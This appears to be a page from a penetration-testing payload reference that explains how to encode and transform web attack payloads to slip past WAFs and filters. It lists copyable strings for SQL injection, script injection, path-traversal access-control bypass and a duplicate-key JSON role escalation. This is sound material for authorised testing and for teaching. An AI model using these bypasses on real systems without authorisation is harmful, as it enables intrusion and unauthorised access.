PAYLOADS
Engagement set once — every payload copies with these filled in

Encoding and bypass

technique

Transformations you apply to a payload that already works. Nothing here is worth using until you know which control you are trying to get past.

01The decode chain

The only concept on this page. Everything else is an application of it.

A request passes through several components before it reaches the code you are attacking. Each one may decode, normalise, or reject. A bypass works when one component sees a harmless string and a later one sees the payload.

CDN / WAF → reverse proxy → web server → framework → application code → backend (SQL, shell, template, XML)

Two failure modes produce every bypass on this page:

  1. The decode count differs. The WAF decodes once, the framework decodes twice. %2527 is harmless text to the WAF and a quote to the application.
  2. Normalisation differs. The proxy treats ..;/ as a literal directory name; Tomcat strips the path parameter and resolves it as ../.

Map the chain before guessing. Take one harmless character, send it through every encoding, and read what comes back.

CHAIN PROBE7
?q={{CANARY}}<Raw. Does it survive at all?
COPY
?q={{CANARY}}%3cSingle encoded.
COPY
?q={{CANARY}}%253cDouble. If this comes back as <, the chain decodes twice.
COPY
?q={{CANARY}}%25253c
COPY
?q={{CANARY}}&#60;HTML entity. Only relevant if the destination is an HTML parser.
COPY
?q={{CANARY}}<JSON/JS unicode escape.
COPY
?q={{CANARY}}%ef%bc%9cFullwidth. If this comes back as <, something normalises unicode.
COPY

Record the answer once per application, not once per finding. It is the same for every parameter, and it decides every bypass you attempt afterwards. Ten seconds here saves an hour of guessing later.

02URL encoding

What it is — % followed by two hex digits. The base transformation everything else builds on.

What it defeats — literal string matching on the raw request. A filter looking for ' doesn't see %27 if it inspects before decoding.

Where it fails — most current WAFs decode once before inspecting, so plain single encoding rarely helps on its own. Its real value is targeted: encode only the character the filter keys on and leave the rest readable so the payload still parses at the destination.

COMMON CHARACTERS
'%27
"%22
<%3c
>%3e
/%2f
\%5c
.%2e
;%3b
&%26
=%3d
#%23
%%25
space%20
NUL%00
CR / LF%0d / %0a
TAB%09

Two details worth remembering. + decodes to a space in a query string and in a form body, but not in the path — /api/a+b is a literal plus. And %2f in the path is a literal slash to some proxies and a separator to others, which is a traversal bypass and an access-control bypass on its own.

03Double and multiple encoding

For a chain that decodes more times than the filter does.

PARTIAL ENCODING4
' OR 1=1--Baseline, for comparison.
COPY
%27 OR 1=1--Single.
COPY
%2527 OR 1=1--Double.
COPY
' OR %31=%31--Quote raw, digits encoded. Defeats a filter matching the literal string 1=1 while the quote still terminates the string at the database.
COPY
DECODE LADDER
'%27%2527%252527
<%3c%253c%25253c
../%2e%2e%2f%252e%252e%252f
\%5c%255c

Partial beats full. Encoding everything usually breaks the payload at the destination. Encode the one character the filter is looking for.

04Unicode

Four separate mechanisms get called "unicode". They defeat different things.

JSON AND JS ESCAPES3
{"q":"' OR 1=1--"}
COPY
{"q":"<script>alert(1)</script>"}
COPY
alert(1)In JavaScript source, \uXXXX works in identifiers as well as strings, so this is a valid call to alert.
COPY

Defeats — signature matching on a raw JSON body. The bytes ' don't match a rule looking for ', but the JSON parser hands the application a real quote. This is the most reliable WAF bypass against JSON APIs, because many deployments inspect JSON bodies as flat text.

Fails against — anything inspecting after JSON parsing, and anything sent as a form body, where ' stays literal.

FULLWIDTH (NFKC NORMALISATION)4
%ef%bc%9c< U+FF1C, normalises to <
COPY
%ef%bc%9e> U+FF1E, normalises to >
COPY
%ef%bc%87' U+FF07, normalises to '
COPY
%ef%bc%85% U+FF05, normalises to %
COPY

Fullwidth only works where the application normalises input after the filter runs, which is a minority of them. Confirm with the chain probe rather than assuming. Other pairs worth knowing: K (U+212A) normalises to K, and (U+FB00) expands to ff — changing the string length after the length check ran.

05Case and comments

CASE VARIATION4
SeLeCt
COPY
uNiOn
COPY
ScRiPtCosts nothing, rarely works alone. Every current WAF ruleset is case-insensitive.
COPY
..\WINDOWS\Where it genuinely helps: case-insensitive filesystems, where only one casing is in the blocklist.
COPY
COMMENT INSERTION7
SEL/**/ECT
COPY
UN/**/ION
COPY
/*!50000SELECT*/MySQL versioned comment. Executes on MySQL 5.0+, ignored as a comment elsewhere — so it's a bypass and a fingerprint at once.
COPY
--+
COPY
-- -
COPY
#
COPY
;%00
COPY

A correction to a common mistake. /**/ splits SQL tokens because the SQL lexer treats a comment as whitespace. It does not work inside a JavaScript identifier — ale/**/rt is two identifiers and a syntax error. For JavaScript use alert or window['ale'+'rt'].

06Parser differentials

The highest-value category, because these bypass a control completely rather than obscuring a payload.

DUPLICATE PARAMETERS2
?id=1&id=2
COPY
?id=1&ID=2
COPY
WHICH VALUE THE APP SEES
PHPLast
Servlet containersFirst, from getParameter
ASP.NETBoth, joined with a comma
ExpressAn array
FlaskFirst, from request.args.get

When a front-end control reads one and the application reads the other, that is a bypass. Reflect the value back to confirm which behaviour you're facing before relying on it.

PATH NORMALISATION13
/admin
COPY
/Admin
COPY
//admin
COPY
/./admin
COPY
/admin/
COPY
/admin/.
COPY
/admin;/
COPY
/api/..;/adminTomcat strips the path parameter and resolves the traversal; a proxy rule matching the literal path never fires.
COPY
/%2e%2e/admin
COPY
/..%2fadmin
COPY
/admin%20
COPY
/admin%09
COPY
/admin.json
COPY
JSON PARSER PROBE5
{"role":"user","role":"admin"}Some libraries keep the last value, some the first, some error. Pass validation with one, deliver the other.
COPY
{"amount":10000000000000001}JavaScript loses precision above 2^53 — this becomes ...000.
COPY
{"amount":NaN}Python's standard json accepts it; strict parsers reject.
COPY
{"id":1,}
COPY
{"id":1 /* comment */}Trailing commas and comments: accepted by lenient parsers, rejected by strict ones. The error tells you which library is in use.
COPY

07Which encoding defeats which control

Read this starting from the control you observed, not from the encoding you like.

START FROM THE CONTROL
Literal match on the raw requestSingle URL encoding, case variation
WAF decodes once, framework twiceDouble URL encoding
Signature matching a JSON body\uXXXX inside string values
Keyword blocklistCharacter construction — CHAR, CHR, 0x, concatenation
Case-sensitive blocklistMixed case
Whitespace stripped or blocked/**/, parentheses, ${IFS}, %09
Filter runs before normalisationFullwidth characters
Proxy path allowlist..;/, %2e%2e%2f, //, /./, trailing %20
Front-end validates, backend re-parsesDuplicate parameters, keys, headers
Inspection size capA large benign prefix before the payload

08Rules for using this page

  • One transformation at a time. If you encode, case-vary and comment-split at once and it works, you've learned nothing you can reuse.
  • Start from a working payload. Get it working with no filter in the way — locally, or on an unfiltered parameter — then transform it. Blind-firing transformed payloads produces results you cannot interpret.
  • A bypass you don't understand is a bypass you can't adapt. When something works, decide which of the two mechanisms at the top it exploited. That transfers to the next endpoint. The specific string does not.
  • Record the working transformation once per application, not per finding. It will apply to everything else you test there.
/
↑↓ move⏎ copy⇧⏎ open pageesc close